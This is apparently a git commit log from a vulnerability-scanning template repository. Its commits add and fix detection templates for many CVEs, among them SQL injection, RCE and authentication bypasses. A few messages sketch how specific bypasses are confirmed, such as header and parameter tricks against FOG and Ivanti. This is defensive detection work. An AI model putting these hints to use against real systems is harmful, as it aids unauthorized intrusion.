2026-10-22 02:10:24 -04:00
ghost 6dcaa2bc98 chore: sign templates 🤖 2026-10-22 06:10:18 +00:00
Aman Rawat fcc24703c2 Merge pull request #17476 from prathampawar-21/fix-bitbucket-pipelines-fp
Fix false positive in bitbucket-pipelines.yaml by excluding text/html
2026-10-22 11:39:57 +05:30
Aman Rawat 03117dbaa5 Merge pull request #17472 from projectdiscovery/emudhra-compromised-ca
eMudhra - Compromised Intermediate CA Certificate Detection
2026-10-22 11:39:38 +05:30
Pratham Pawar 8e2a97cdf8 Fix false positive in rails-secret-token-disclosure and correct typo
Signed-off-by: Pratham Pawar <[email protected]>
2026-10-22 01:55:46 -04:00
ghost 2235379217 chore: generate templates checksum 🤖 2026-10-22 03:15:26 +00:00
ghost fc914c0607 chore: sign templates 🤖 2026-10-22 03:12:31 +00:00
ghost 328f0a52cd chore: update KEV and vKEV tags and metadata 🤖 2026-10-22 03:12:09 +00:00
ghost 341e8cf1be chore: generate templates checksum 🤖 2026-10-22 02:09:42 +00:00
ghost a8aa5a3166 chore: sign templates 🤖 2026-10-22 02:06:49 +00:00
ghost e0e9541a60 chore: update EPSS scores 🤖 2026-10-22 02:06:19 +00:00
Roberto Nunes c4da05f42d Create CVE-2026-104736.yaml 2026-10-22 09:44:23 +09:00
ghost 5d026fb9b0 chore: generate templates checksum 🤖 2026-10-22 00:06:01 +00:00
ghost 337a83eda9 chore: generate new addition list 🤖 2026-10-22 00:04:03 +00:00
ghost 6f4d52f341 chore: generate CVEs metadata 🤖 2026-10-22 00:03:12 +00:00
ghost 638797af8b chore: sign templates 🤖 2026-10-22 00:03:08 +00:00
30299f9317 Add template for CVE-2026-90774 (rustypaste path traversal) (#17430)
* Add CVE-2026-90774 rustypaste filename header path traversal template

* Update CVE-2026-90774.yaml

* Update CVE-2026-90774.yaml

* Update CVE-2026-90774.yaml

---------

Co-authored-by: carfeii <[email protected]>
Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-22 05:32:47 +05:30
ghost 53521ae045 chore: generate templates checksum 🤖 2026-10-21 22:50:10 +00:00
ghost d2da7ce51c chore: generate new addition list 🤖 2026-10-21 22:47:39 +00:00
ghost 20a218340f chore: generate CVEs metadata 🤖 2026-10-21 22:47:16 +00:00
ghost 50852f5ce7 chore: sign templates 🤖 2026-10-21 22:47:08 +00:00
Prince Chaddhaandx c6d5ea1e08 Added CVE-2026-109618 (#17478)
Co-authored-by: x <x@x>
2026-10-22 04:16:46 +05:30
Pratham Pawar c232d366b2 Fix false positive in bitbucket-pipelines.yaml by excluding text/html
Signed-off-by: Pratham Pawar <[email protected]>
2026-10-21 12:26:44 -04:00
anirbala98 521a66408a Added CVE-2026-14870 Template 2026-10-21 10:07:10 -04:00
ghost 9e97c753d7 chore: generate templates checksum 🤖 2026-10-21 13:13:33 +00:00
ghost e05b14a51a chore: generate new addition list 🤖 2026-10-21 13:11:44 +00:00
ghost 2be16d9795 chore: sign templates 🤖 2026-10-21 13:11:11 +00:00
bbbabb878b Add GLPI planning unauthenticated username enumeration (GHSA-j5vx-jrmw-2498) (#17393)
* Add GLPI planning unauthorized access and user enumeration (GHSA-5fw5)

* Update glpi-planning-user-enumeration.yaml

* Rename glpi-planning-user-enumeration.yaml to glpi-planning-unauth-user-enumeration

* Rename glpi-planning-unauth-user-enumeration to glpi-planning-unauth-user-enumeration.yaml

* Update glpi-planning-unauth-user-enumeration.yaml

* Update and rename glpi-planning-unauth-user-enumeration.yaml to glpi-planning-user-enum.yaml

---------

Co-authored-by: radical edward <[email protected]>
Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-21 18:40:48 +05:30
ghost 608880cc0a chore: generate templates checksum 🤖 2026-10-21 13:04:38 +00:00
ghost b7cdd3ebb9 chore: generate new addition list 🤖 2026-10-21 13:02:20 +00:00
ghost d442353d7c chore: generate CVEs metadata 🤖 2026-10-21 13:01:43 +00:00
ghost 0e35c9f2d6 chore: sign templates 🤖 2026-10-21 13:01:34 +00:00
0a0b40d43a Add AhsayCBS CVE-2026-105133 authentication bypass template (#17438)
* Add AhsayCBS CVE-2026-105133 auth bypass template

* Update CVE-2026-105133.yaml

* Update CVE-2026-105133.yaml

---------

Co-authored-by: Aman Rawat <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-21 18:31:12 +05:30
Haroon Arshad 6241ae6186 re-sync with upstream main: keep digest line verbatim 2026-10-21 15:03:20 +05:00
Dhiyaneshwaran 29d0f37049 eMudhra - Compromised Intermediate CA Certificate Detection 2026-10-21 14:51:30 +05:30
Haroon Arshad f3cdee1cfc add CVE-2026-12800 template 2026-10-21 14:03:40 +05:00
Haroon Arshad 17ee9d06ca add CVE-2026-9848 template 2026-10-21 12:36:34 +05:00
Aman Rawat 9b4390882a Update CVE-2024-5333.yaml 2026-10-21 12:54:44 +05:30
ghost 1b8f9010d8 chore: generate templates checksum 🤖 2026-10-21 05:38:23 +00:00
ghost 15fec99b80 chore: generate new addition list 🤖 2026-10-21 05:37:22 +00:00
ghost 8437604bb7 chore: generate CVEs metadata 🤖 2026-10-21 05:36:35 +00:00
ghost d4c4e67abe chore: sign templates 🤖 2026-10-21 05:36:29 +00:00
ghost 4f5e47c370 chore: generate new addition list 🤖 2026-10-21 05:36:24 +00:00
Aman Rawat f20fb8b8ff Merge pull request #17466 from projectdiscovery/CVE-2026-6279
CVE-2026-6279 - Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection
2026-10-21 11:06:08 +05:30
ghost 5645b01c8a chore: generate CVEs metadata 🤖 2026-10-21 05:35:44 +00:00
ghost 915fc6f6cb chore: sign templates 🤖 2026-10-21 05:35:40 +00:00
Aman Rawat e173e48b7a Merge pull request #17457 from anirbala98/add-cve-2026-6495
Add CVE-2026-6495 - WordPress plugin Ajax Load More < 7.8.4 - Authenticated Reflected XSS
2026-10-21 11:05:19 +05:30
ghost b4826535d8 chore: generate templates checksum 🤖 2026-10-21 03:16:05 +00:00
ghost 55d05bb901 chore: sign templates 🤖 2026-10-21 03:13:10 +00:00
ghost 46463fc069 chore: update KEV and vKEV tags and metadata 🤖 2026-10-21 03:12:43 +00:00
ghost 7650d92006 chore: generate templates checksum 🤖 2026-10-21 02:10:19 +00:00
ghost 7c15b24edb chore: generate templates checksum 🤖 2026-10-21 02:09:28 +00:00
github-actions[bot] bdd8a5ab48 chore: add impact and remediation fields 🤖 2026-10-21 02:09:20 +00:00
ghost 029eb39406 chore: generate new addition list 🤖 2026-10-21 02:09:02 +00:00
github-actions[bot] 5bcf0e8263 chore: add impact and remediation fields 🤖 2026-10-21 02:08:52 +00:00
ghost 8009c3398c chore: generate new addition list 🤖 2026-10-21 02:08:50 +00:00
ghost 6da35d60fe chore: generate CVEs metadata 🤖 2026-10-21 02:08:35 +00:00
ghost 5d8e182ace chore: sign templates 🤖 2026-10-21 02:08:27 +00:00
Roberto Nunes 17d79ce870 Merge pull request #17433 from comradezephyr/patch-23
Add CVE-2026-56070 (Unauthenticated Time-Based Blind SQL Injection)
2026-10-21 11:08:06 +09:00
Roberto Nunes e765089a72 Merge pull request #17441 from HaroonArshad-53/add-CVE-2026-52715
Add CVE-2026-52715 - GEO my WP unauthenticated SQL injection
2026-10-21 11:07:42 +09:00
ghost 5f6574e20c chore: sign templates 🤖 2026-10-21 02:07:32 +00:00
Roberto Nunes 06efc10e72 Merge pull request #17444 from anirbala98/add-cve-2026-82186
Add CVE-2026-82186 - WordPress plugin WPLP Cookie Consent < 4.4.2 - Authenticated SQL Injection
2026-10-21 11:07:12 +09:00
ghost 4cde51e96c chore: generate new addition list 🤖 2026-10-21 02:06:52 +00:00
ghost 0c210d38a4 chore: generate CVEs metadata 🤖 2026-10-21 02:06:22 +00:00
ghost cfea0fdd60 chore: sign templates 🤖 2026-10-21 02:06:20 +00:00
Roberto Nunes 8df8cc5862 Merge pull request #17465 from projectdiscovery/CVE-2026-15015
CVE-2026-15015 - MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure
2026-10-21 11:05:59 +09:00
ghost 535ef0131a chore: generate templates checksum 🤖 2026-10-21 01:47:46 +00:00
github-actions[bot] 4d9f9f061f chore: add impact and remediation fields 🤖 2026-10-21 01:45:26 +00:00
ghost ab72969dcb chore: generate new addition list 🤖 2026-10-21 01:45:16 +00:00
ghost 25413f1c5b chore: sign templates 🤖 2026-10-21 01:44:49 +00:00
Roberto Nunes f07b6c755b Merge pull request #17459 from projectdiscovery/wowza-streaming-engine-detect
Wowza Streaming Engine - Detect
2026-10-21 10:44:25 +09:00
Roberto Nunes 8c04663711 Merge pull request #17467 from projectdiscovery/CVE-2026-72867
CVE-2026-72867 - Dokploy <= 0.29.12 - Authenticated RCE via Command Injection
2026-10-21 10:44:17 +09:00
Dhiyaneshwaran 24698cf0b2 CVE-2026-72867 - Dokploy <= 0.29.12 - Authenticated RCE via Command Injection 2026-10-21 06:24:15 +05:30
ghost 93411bf87d chore: generate templates checksum 🤖 2026-10-21 00:05:17 +00:00
ghost 71dfc525af chore: generate new addition list 🤖 2026-10-21 00:03:13 +00:00
ghost 9be7f79a73 chore: generate CVEs metadata 🤖 2026-10-21 00:02:40 +00:00
ghost 941351fd36 chore: sign templates 🤖 2026-10-21 00:02:35 +00:00
Roberto Nunes 21650a6bc6 Add CVE-2026-18315 vulnerability details (#17445)
CVE-2026-18315 details the critical unauthenticated authorization bypass vulnerability in the TrueBooker plugin for WordPress, allowing attackers to take over user accounts. The YAML file includes information on the vulnerability, its impact, remediation steps, and references.
2026-10-21 05:32:11 +05:30
Dhiyaneshwaran cce0aa90be CVE-2026-6279 - Avada Builder (fusion-builder) <= 3.15.2 - Unauthenticated RCE via PHP Function Injection 2026-10-21 05:22:51 +05:30
Dhiyaneshwaran eb65789ae2 CVE-2026-15015 - MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure 2026-10-21 04:56:51 +05:30
Dhiyaneshwaran ab684d04f2 Rename http/cves/CVE-2026-89079.yaml to http/cves/2026/CVE-2026-89079.yaml 2026-10-21 04:39:09 +05:30
Dhiyaneshwaran f847b12594 CVE-2026-89079 - Theme My Login <= 7.2.1 - Unauthenticated Privilege Escalation (WordPress Multisite) 2026-10-21 04:38:36 +05:30
Alex Ryabov e2e4414af8 Refine CVE-2026-89026 template per maintainer review 2026-10-20 15:20:45 -07:00
Dhiyaneshwaran 8ce2403dde CVE-2026-82901 - Ultimate Addons for Contact Form 7 <= 3.5.50 - Unauthenticated Arbitrary File Upload 2026-10-21 03:44:40 +05:30
ghost 1697f48660 chore: generate templates checksum 🤖 2026-10-20 20:55:16 +00:00
ghost 0c380ed68e chore: sign templates 🤖 2026-10-20 20:52:11 +00:00
Dhiyaneshwaran 782170fef7 Update php-detect.yaml (#17461) 2026-10-21 02:21:49 +05:30
Dhiyaneshwaran 26af69a68c Update wowza-streaming-engine-detect.yaml 2026-10-20 23:49:19 +05:30
Dhiyaneshwaran b0d7d47f9b Wowza Streaming Engine - Detect 2026-10-20 23:47:57 +05:30
pussycat0x 4409c28172 Change severity level from low to info
nothing sensitive so far from
2026-10-20 20:45:40 +05:30
anirbala98 9e4cebad40 Added CVE-2026-6495 Template 2026-10-20 08:55:47 -04:00
anirbala98 4bdf2d0384 Added CVE-2026-9062 Template 2026-10-20 07:31:00 -04:00
ghost 33a92741d0 chore: generate templates checksum 🤖 2026-10-20 09:56:31 +00:00
ghost c0a1b14756 chore: generate new addition list 🤖 2026-10-20 09:54:41 +00:00
ghost 81d8a22b69 chore: generate new addition list 🤖 2026-10-20 09:54:17 +00:00
github-actions[bot] 9733a10eb4 chore: add impact and remediation fields 🤖 2026-10-20 09:54:04 +00:00
ghost 4169513445 chore: generate CVEs metadata 🤖 2026-10-20 09:53:57 +00:00
ghost 03d4169bb6 chore: sign templates 🤖 2026-10-20 09:53:53 +00:00
Aman Rawat cd38488722 Merge pull request #17447 from projectdiscovery/Akokonunes-patch-10
Create CVE-2026-94169.yaml - The Grid <= 2.8.1 - Unauthenticated Code Injection
2026-10-20 15:23:29 +05:30
Aman Rawat f0d7effc02 Merge pull request #17428 from HaroonArshad-53/add-CVE-2026-49772
Add CVE-2026-49772 - The Events Calendar unauthenticated blind SQL injection
2026-10-20 15:23:09 +05:30
Ashish Pulivarthy 349cd00369 Add CVE-2026-59707 - LocalAI unauthenticated SSRF in /models/apply 2026-10-20 12:50:45 +04:00
ghost ee9e6969a9 chore: generate templates checksum 🤖 2026-10-20 02:08:41 +00:00
ghost 45873910b3 chore: sign templates 🤖 2026-10-20 02:05:18 +00:00
ghost 9aa13dee5a chore: update EPSS scores 🤖 2026-10-20 02:04:50 +00:00
Dhiyaneshwaran 052f624bcb Update CVE-2026-82186.yaml 2026-10-19 22:15:24 +05:30
Abdullah Shahid 309ff97043 Merge branch 'main' into patch-23 2026-10-19 07:01:25 -04:00
Dhiyaneshwaran d5f09ea603 Update CVE-2026-52715.yaml 2026-10-19 14:49:12 +05:30
Dhiyaneshwaran c1eb404f48 Refine details for CVE-2026-56070 SQL injection
Updated CVE-2026-56070.yaml to refine SQL injection details and adjust request parameters.
2026-10-19 14:03:16 +05:30
Dhiyaneshwaran d916183858 CVE-2026-49772 - The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection 2026-10-19 13:48:59 +05:30
ghost 008731b339 chore: generate templates checksum 🤖 2026-10-19 02:11:20 +00:00
ghost 9a8c0f6d94 chore: sign templates 🤖 2026-10-19 02:08:20 +00:00
ghost 81d192a180 chore: update EPSS scores 🤖 2026-10-19 02:07:50 +00:00
Roberto Nunes 4d7c9897da Create CVE-2026-94169.yaml 2026-10-19 09:32:40 +09:00
anirbala98 29071904b2 Added CVE-2026-82186 Template 2026-10-18 11:02:44 -04:00
Haroon Arshad 4d9269a712 re-sync with upstream main: keep digest line verbatim 2026-10-18 14:55:47 +05:00
ghost 17f5725dc1 chore: generate templates checksum 🤖 2026-10-17 03:13:58 +00:00
ghost 2ce838e535 chore: sign templates 🤖 2026-10-17 03:11:43 +00:00
ghost b23ab4d79c chore: update KEV and vKEV tags and metadata 🤖 2026-10-17 03:11:21 +00:00
ghost e07ef2152c chore: generate templates checksum 🤖 2026-10-17 02:07:53 +00:00
ghost 8c71a66297 chore: sign templates 🤖 2026-10-17 02:05:04 +00:00
ghost de3bdc5589 chore: update EPSS scores 🤖 2026-10-17 02:04:38 +00:00
ghost 837b883e85 chore: generate templates checksum 🤖 2026-10-16 19:04:25 +00:00
ghost 711d3f6f73 chore: generate new addition list 🤖 2026-10-16 19:02:35 +00:00
ghost 200c3fbef9 chore: sign templates 🤖 2026-10-16 19:01:51 +00:00
Aman Rawat c77b920545 Merge pull request #17436 from projectdiscovery/Akokonunes-patch-7
Add CVE-2026-108578.yaml - Neterbit NW-431F - Unauthenticated SMS Disclosure
2026-10-17 00:31:23 +05:30
Haroon Arshad 9c42dd1f25 fix CVE-2024-5333 template false positive by adding version check 2026-10-16 17:24:23 +05:00
Haroon Arshad d9f7a4e84a fix CVE-2024-5333 template false positive by adding version check 2026-10-16 17:02:47 +05:00
Haroon Arshad 5370e1a2f1 add CVE-2026-52715 template 2026-10-16 12:42:08 +05:00
Alex Ryabov 9a2a3df35c chore: preserve verified template bytes 2026-10-15 20:20:08 -07:00
Alex Ryabov e4a35ab114 Add CVE-2026-89026 Issabel JWT key template 2026-10-15 20:19:47 -07:00
ghost 98ad1e0e66 chore: generate templates checksum 🤖 2026-10-16 03:15:40 +00:00
ghost de95c4bb14 chore: sign templates 🤖 2026-10-16 03:12:48 +00:00
ghost 483af7140f chore: update KEV and vKEV tags and metadata 🤖 2026-10-16 03:12:27 +00:00
ghost 23dd63c397 chore: generate templates checksum 🤖 2026-10-16 02:08:10 +00:00
ghost ebdc3045bb chore: sign templates 🤖 2026-10-16 02:05:10 +00:00
ghost 114227ace6 chore: update EPSS scores 🤖 2026-10-16 02:04:40 +00:00
Roberto Nunes bc1f864ae5 Add CVE-2026-108578 for Neterbit NW-431F vulnerability 2026-10-16 10:58:46 +09:00
Alex Ryabov ba0aa5be52 Mark real-product validated Langflow template as verified 2026-10-15 18:41:32 -07:00
Alex Ryabov 4f4a9e62c3 Add Langflow CVE-2026-105740 authenticated MCP RCE detection 2026-10-15 18:39:56 -07:00
ghost 4bde09a208 chore: generate templates checksum 🤖 2026-10-16 01:11:18 +00:00
ghost 9b3be4bc12 chore: generate new addition list 🤖 2026-10-16 01:09:17 +00:00
ghost d503cdf0f7 chore: sign templates 🤖 2026-10-16 01:08:29 +00:00
Roberto Nunes 0c52eadb6d Merge pull request #17429 from projectdiscovery/CVE-2026-76268
CVE-2026-76268 - Splunk Enterprise Patroni REST API - Missing Authentication RCE
2026-10-16 10:08:06 +09:00
Roberto Nunes bfa6df1cad Update CVE-2026-16535.yaml 2026-10-16 10:06:43 +09:00
Abdullah Shahid a488dd3454 Add CVE-2026-56070.yaml
Condensed comments in CVE-2026-56070.yaml for clarity.
2026-10-15 10:02:48 -07:00
anirbala98 338230032d Removed trailing spaces 2026-10-15 10:40:38 -04:00
anirbala98 0ed65d017a Added CVE-2026-16535 Template 2026-10-15 10:21:21 -04:00
carfeii 5736388429 Add CVE-2026-102878 mcp-chrome-bridge CORS origin bypass template 2026-10-15 21:28:44 +08:00
Dhiyaneshwaran c8b1b13bb1 CVE-2026-76268 - Splunk Enterprise Patroni REST API - Missing Authentication RCE 2026-10-15 12:06:45 +05:30
Haroon Arshad ee123881b4 add CVE-2026-49772 template 2026-10-15 11:16:13 +05:00
ghost 3de629d823 chore: generate templates checksum 🤖 2026-10-15 05:25:20 +00:00
ghost f36acf2fcf chore: generate templates checksum 🤖 2026-10-15 05:22:57 +00:00
github-actions[bot] 3560c16175 chore: add impact and remediation fields 🤖 2026-10-15 05:22:47 +00:00
ghost 1654f4772c chore: generate new addition list 🤖 2026-10-15 05:22:39 +00:00
ghost 08cfeacaad chore: generate CVEs metadata 🤖 2026-10-15 05:22:03 +00:00
ghost 5982da571c chore: sign templates 🤖 2026-10-15 05:21:59 +00:00
abc1b9ebe6 Add CVE-2010-0738 (JBoss JMX/Web Console verb-tampering auth bypass) (#17330)
* Add CVE-2010-0738 JBoss console verb-tampering auth bypass template

* Update CVE-2010-0738.yaml

* Update CVE-2010-0738.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-15 10:51:38 +05:30
ghost a94c1b5078 chore: generate new addition list 🤖 2026-10-15 05:20:31 +00:00
ghost a4e3a6b62c chore: generate CVEs metadata 🤖 2026-10-15 05:19:53 +00:00
ghost b0a14514d4 chore: sign templates 🤖 2026-10-15 05:19:45 +00:00
Aman Rawat 6afbc33774 Merge pull request #17426 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-18143.yaml - Request Quote for WooCommerce <= 2.9.2 - Unauthenticated Arbitrary File Upload
2026-10-15 10:49:26 +05:30
ghost 38eb3798ef chore: generate templates checksum 🤖 2026-10-15 03:15:02 +00:00
ghost 868e0069d9 chore: sign templates 🤖 2026-10-15 03:12:48 +00:00
ghost 2252d95ab7 chore: update KEV and vKEV tags and metadata 🤖 2026-10-15 03:12:21 +00:00
Roberto Nunes 146c84db3d Create CVE-2026-18143.yaml 2026-10-15 11:57:31 +09:00
ghost ef2f2ef514 chore: generate templates checksum 🤖 2026-10-15 02:08:33 +00:00
ghost 1dee57cb3e chore: sign templates 🤖 2026-10-15 02:05:28 +00:00
ghost 068bb92542 chore: update EPSS scores 🤖 2026-10-15 02:05:00 +00:00
ghost 56852ca76f chore: generate templates checksum 🤖 2026-10-14 22:24:41 +00:00
ghost 470fdcef69 chore: sign templates 🤖 2026-10-14 22:22:28 +00:00
Roberto Nunes 320418ff39 Merge pull request #17412 from projectdiscovery/issue-17390
[ENHANCEMENT] Add additional LFI bypass payloads
2026-10-15 07:22:04 +09:00
cham423andClaude Opus 5.5 515e3d7142 CVE-2026-27960: fix false positive on GraphQL validation errors
The matcher only required `user_email` and `"me"` somewhere in a 200
body. GraphQL servers return 200 for validation errors, and graphql-ruby
echoes the requested field names into the error (`"path":["query","me",
"user_email"]`, `fieldName`), so any graphql-ruby API with a `me` field
whose type lacks `user_email` matched without any bypass taking place.
The json extractor came back empty on those matches.

Require the success shape the bypass returns instead: a `data.me` object
carrying a non-empty `user_email` value. In error bodies `"me"` is only a
`path` array element, never a key holding an object. Stale digest removed
for re-signing.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-14 14:51:29 -07:00
ghost a0267c4b3f chore: generate templates checksum 🤖 2026-10-14 13:05:05 +00:00
ghost 6cc681b9fb chore: generate new addition list 🤖 2026-10-14 13:01:44 +00:00
ghost 5d688bab08 chore: generate CVEs metadata 🤖 2026-10-14 13:01:05 +00:00
ghost 25841e74d5 chore: sign templates 🤖 2026-10-14 13:01:03 +00:00
Aman Rawat 7b005e4209 Merge pull request #17417 from comradezephyr/patch-22
Add CVE-2026-12741 for SQL injection in WP Fast Total Search
2026-10-14 18:30:36 +05:30
ghost d10390c11a chore: generate templates checksum 🤖 2026-10-14 09:23:19 +00:00
ghost b8d1df9545 chore: generate new addition list 🤖 2026-10-14 09:21:11 +00:00
ghost 65064a8639 chore: sign templates 🤖 2026-10-14 09:20:17 +00:00
Roberto Nunes 231a71c9d9 Merge pull request #17228 from icarot/main
Create apache-skywalking-horizon-ui-detect.yaml, apache-skywalking-horizon-ui-default-login.yaml and apache-skywalking-horizon-ui-config.yaml
2026-10-14 18:19:57 +09:00
Dhiyaneshwaran 6df1d90457 Update CVE-2026-12741.yaml 2026-10-14 14:20:47 +05:30
Dhiyaneshwaran d96cd64eb4 Update CVE-2026-56062.yaml 2026-10-14 13:38:13 +05:30
Dhiyaneshwaran abb794fc67 Update CVE-2026-56062.yaml 2026-10-14 13:37:18 +05:30
ghost 0ed88c1c98 chore: generate templates checksum 🤖 2026-10-14 06:58:49 +00:00
ghost 7129697191 chore: generate new addition list 🤖 2026-10-14 06:56:25 +00:00
ghost fdf76f202c chore: generate CVEs metadata 🤖 2026-10-14 06:55:59 +00:00
ghost 65c72fc403 chore: sign templates 🤖 2026-10-14 06:55:56 +00:00
Roberto Nunes 0d96fbce17 Add CVE-2026-93616 - Check Point Security Management - Unauthenticated Directory Traversal (Passive) (#17420)
* Add CVE-2026-93616 

Updated CVE-2026-93616 details including name, description, impact, and remediation steps.

* Add 'passive' tag to CVE-2026-93616.yaml

* Update probe variable to use random text function
2026-10-14 12:25:34 +05:30
Akokonunes 6f25bcc537 Merge branch 'main' into cve-2025-58443-fp-fix
Resolve conflict in http/cves/2025/CVE-2025-58443.yaml.

This branch replaces the catch-all detection with a version check against
/fog/service/getversion.php plus a getfiles.php probe; main had meanwhile
refreshed epss-percentile and re-signed the template, and the two sides
disagreed at the tail where this branch removed the old matcher and the
trailing "# digest:" line.

Resolution: keep this branch's rewritten detection in full, take main's
newer epss-percentile, and restore the digest line. The digest is
regenerated by template-sign.yml on push to main.
2026-10-14 14:06:52 +09:00
Akokonunes f939d49517 Move CVE-2026-102489 to websocket/cves/2026
The template uses the websocket: protocol, not http:, so it does not belong
under http/. This creates websocket/ as the home for websocket-protocol
templates, mirroring how javascript/ and network/ are organised by protocol.

File contents are unchanged.
2026-10-14 13:49:18 +09:00
Roberto Nunes bda2ee3401 Update CVE-2025-58443.yaml 2026-10-14 13:31:33 +09:00
ghost 398450745e chore: generate templates checksum 🤖 2026-10-14 03:15:51 +00:00
ghost 6a96914ccd chore: sign templates 🤖 2026-10-14 03:12:53 +00:00
ghost 24c106069e chore: update KEV and vKEV tags and metadata 🤖 2026-10-14 03:12:29 +00:00
ghost 67778cf66c chore: generate templates checksum 🤖 2026-10-14 02:08:10 +00:00
ghost a787254852 chore: sign templates 🤖 2026-10-14 02:05:09 +00:00
ghost 3a7e77f7c7 chore: update EPSS scores 🤖 2026-10-14 02:04:36 +00:00
ghost 3cb5fcc2fc chore: generate templates checksum 🤖 2026-10-14 01:06:20 +00:00
ghost dd12b881db chore: generate new addition list 🤖 2026-10-14 01:04:18 +00:00
ghost 69c142d991 chore: generate CVEs metadata 🤖 2026-10-14 01:03:46 +00:00
ghost e2e9ac5e6e chore: sign templates 🤖 2026-10-14 01:03:42 +00:00
Roberto Nunes 1ded6ac515 Merge pull request #17419 from projectdiscovery/CVE-2026-104935
CVE-2026-104935 - Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header
2026-10-14 10:03:19 +09:00
Dhiyaneshwaran 55e1dd75d5 CVE-2026-104935 - Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header 2026-10-14 06:27:34 +05:30
cham423andClaude Opus 5.5 afb45252c7 CVE-2025-58443: fix false positive on catch-all 200 pages
Hosts that answer every path with a large 200 page matched both branches.
The `/` gate only needed the letters `FOG` anywhere in the body, and the
`(?is)` kernel regex let `.*` span the whole page, so a base64 asset, any
later `configuration`, and dom-serializer's `kernelMatrix` SVG name were
enough. The SSRF branch accepted a DNS-only interaction. Neither request
sent the `X-Requested-With: XMLHttpRequest` header the bypass relies on.

Fingerprint FOG by the bare version string from getversion.php, then send
the header to getfiles.php with an array-valued `path`: vulnerable builds
pass the authorization helper and answer `"Invalid"`, fixed builds return
401. No OAST, no file listing. Stale digest removed for re-signing.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-13 11:22:03 -07:00
Abdullah Shahid bec159a956 Add CVE-2026-12741 for SQL injection in WP Fast Total Search
Added CVE-2026-12741 for WP Fast Total Search SQL injection vulnerability, detailing the exploit, impact, remediation, and references.
2026-10-13 10:58:10 -07:00
Abdullah Shahid 616771ee21 Add CVE-2026-103956 vulnerability details 2026-10-13 08:32:37 -07:00
ghost bf9f2b16be chore: generate templates checksum 🤖 2026-10-13 15:29:12 +00:00
ghost d6754deeb1 chore: sign templates 🤖 2026-10-13 15:26:32 +00:00
Roberto Nunes e339537f09 Merge pull request #17334 from diedromeo/fix-cve-2024-12849-fingerprint
fix(CVE-2024-12849): remove false-negative fingerprint check
2026-10-14 00:26:09 +09:00
Abdullah Shahid 6a2ae01b24 Correct formatting in CVE-2026-56062.yaml
Fixed formatting issues in CVE-2026-56062.yaml.
2026-10-13 07:57:12 -07:00
ghost f1560a6ed4 chore: generate templates checksum 🤖 2026-10-13 12:56:52 +00:00
ghost e212700a44 chore: generate new addition list 🤖 2026-10-13 12:54:35 +00:00
Dhiyaneshwaran f130b75ee7 fix-trail-space-error 2026-10-13 18:24:27 +05:30
ghost f9738a25c0 chore: generate CVEs metadata 🤖 2026-10-13 12:53:55 +00:00
ghost 47ddf1a52e chore: sign templates 🤖 2026-10-13 12:53:52 +00:00
a205632eb9 Add template for CVE-2026-80462 (Chef Automate auth bypass) (#17237)
* Add template for CVE-2026-80462 (Chef Automate auth bypass)

* Set verified: false, not tested against a live instance

* CVE-2026-80462: broaden baseline matcher, confirm positive case

* Update CVE-2026-80462.yaml

* Update CVE-2026-80462.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-10-13 18:23:29 +05:30
ghost 9c4c61c14b chore: generate templates checksum 🤖 2026-10-13 12:47:43 +00:00
ghost 2accfa4bc9 chore: sign templates 🤖 2026-10-13 12:44:50 +00:00
Shreyas Malhotra 220cfd2299 fix CVE-2017-5638: OGNL payload fails on stock Struts 2.3.x (null DEFAULT_MEMBER_ACCESS) (#17273)
Fixed CVE-2017-5638 false negative on Struts 2.3.x (OGNL payload fix)
2026-10-13 18:14:26 +05:30
ghost ccf84067cd chore: generate templates checksum 🤖 2026-10-13 12:25:02 +00:00
ghost fc4a50d066 chore: generate new addition list 🤖 2026-10-13 12:23:07 +00:00
ghost 833382345a chore: generate CVEs metadata 🤖 2026-10-13 12:22:12 +00:00
ghost d71af90cd5 chore: sign templates 🤖 2026-10-13 12:22:06 +00:00
Ritik Chaddha e5046f8417 Merge pull request #17384 from anirbala98/add-cve-2026-8089
Add CVE-2026-8089 - WordPress plugin weMail < 2.1.3 - Authenticated Reflected XSS
2026-10-13 17:51:46 +05:30
Ritik Chaddha 6c99c63e06 Merge branch 'main' into add-cve-2026-8089 2026-10-13 17:51:39 +05:30
ghost 01fb3809c6 chore: generate templates checksum 🤖 2026-10-13 12:20:47 +00:00
ghost 66206fd2ff chore: sign templates 🤖 2026-10-13 12:18:11 +00:00
Ritik Chaddha 2e933d14d6 Merge pull request #17377 from projectdiscovery/fix-false-positive-hotstar
Revise CVE-2024-10763 details and detection logic
2026-10-13 17:47:51 +05:30
Ritik Chaddha b90c7dd382 Merge branch 'main' into fix-false-positive-hotstar 2026-10-13 17:47:45 +05:30
ghost 8f4331b650 chore: generate templates checksum 🤖 2026-10-13 12:17:04 +00:00
ghost f09f4f16fa chore: generate templates checksum 🤖 2026-10-13 12:15:55 +00:00
ghost 3e87dc0df6 chore: sign templates 🤖 2026-10-13 12:15:30 +00:00
Ritik Chaddha 84a6a80ed7 Merge pull request #17395 from Shaivarth/fix/dell-dpi-default-login
Fix Dell DPI default login detection
2026-10-13 17:45:11 +05:30
Ritik Chaddha 8ddc12d3e2 Update CVE-2026-8089.yaml 2026-10-13 17:44:21 +05:30
ghost 57963a10b0 chore: generate new addition list 🤖 2026-10-13 12:14:11 +00:00
ghost 92e199cbf2 chore: sign templates 🤖 2026-10-13 12:14:02 +00:00
ghost fc85f84c3f chore: generate new addition list 🤖 2026-10-13 12:13:43 +00:00
